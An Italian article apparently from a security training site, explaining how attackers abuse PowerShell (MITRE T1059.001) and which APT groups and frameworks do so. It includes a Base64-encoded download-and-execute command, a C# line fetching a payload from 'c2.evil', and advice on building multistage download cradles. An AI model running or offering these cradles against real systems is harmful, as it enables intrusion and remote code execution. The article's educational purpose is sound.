Esecuzione con PowerShell: Command and Scripting Interpreter - PowerShell (T1059.001)
PowerShell rappresenta uno dei vettori d'attacco più versatili nell'arsenale degli avversari moderni. Questa potente interfaccia a riga di comando e ambiente di scripting, integrato nativamente in Windows, offre capacità che vanno ben oltre la semplice automazione amministrativa. Gli attaccanti sfruttano PowerShell per eseguire codice malevolo direttamente in memoria, bypassando i controlli tradizionali basati su disco.
La tecnica si manifesta nella tattica TA0002 (Execution), quando gli avversari tentano di eseguire codice malevolo nei sistemi compromessi. PowerShell diventa particolarmente pericoloso perché permette l'esecuzione di payload scaricati da Internet senza mai toccare il disco, rendendo la detection significativamente più complessa. I cmdlet come Start-Process e Invoke-Command consentono l'esecuzione locale e remota, quest'ultima richiedendo privilegi amministrativi.
L'impatto di questa tecnica è massiccio: 83 gruppi APT documentati la utilizzano attivamente, insieme a 124 famiglie di malware e 16 campagne di cyber espionage globali. Framework offensivi come Empire, PowerSploit, PoshC2 e PSAttack hanno standardizzato l'abuso di PowerShell. Particolarmente insidioso è l'accesso diretto alle API .NET tramite System.Management.Automation, che permette l'esecuzione senza invocare powershell.exe.
L'esecuzione di payload tramite PowerShell inizia spesso con tecniche di encoding per evadere i controlli superficiali. Il comando base per scaricare ed eseguire in memoria diventa: powershell -enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAPQB7ACQAdAByAHUAZQB9ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQB8AEkARQBYAA==
Per bypass più sofisticati, APT29 e Lazarus Group utilizzano l'esecuzione tramite .NET senza invocare powershell.exe. In C# si implementa così: System.Management.Automation.PowerShell.Create().AddScript("IEX (New-Object Net.WebClient).DownloadString('http://c2.evil/payload')").Invoke();
I framework come Empire automatizzano queste tecniche. Per testare in laboratorio, configura un listener HTTP e genera uno stager PowerShell che utilizza reflection per caricare assembly .NET in memoria. FIN7 ha perfezionato questa tecnica con POWERTRASH, una variante offuscata di PowerSploit che randomizza le variabili e splitta le stringhe per evadere signature statiche.
L'esecuzione remota richiede WinRM attivo sul target. Il comando Invoke-Command -ComputerName TARGET -ScriptBlock {Get-Process} -Credential $cred diventa letale quando combinato con credenziali compromesse. APT28 ha dimostrato l'efficacia di questa tecnica nella campagna Nearest Neighbor, concatenando compromissioni attraverso sistemi dual-homed.
Per simulare tecniche APT avanzate, implementa download cradle multistadio. Prima scarica uno script loader minimo che verifica l'ambiente, poi recupera il payload principale solo se le condizioni sono sicure. Questa tecnica, usata da Mustang Panda, riduce l'esposizione del C2 principale.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo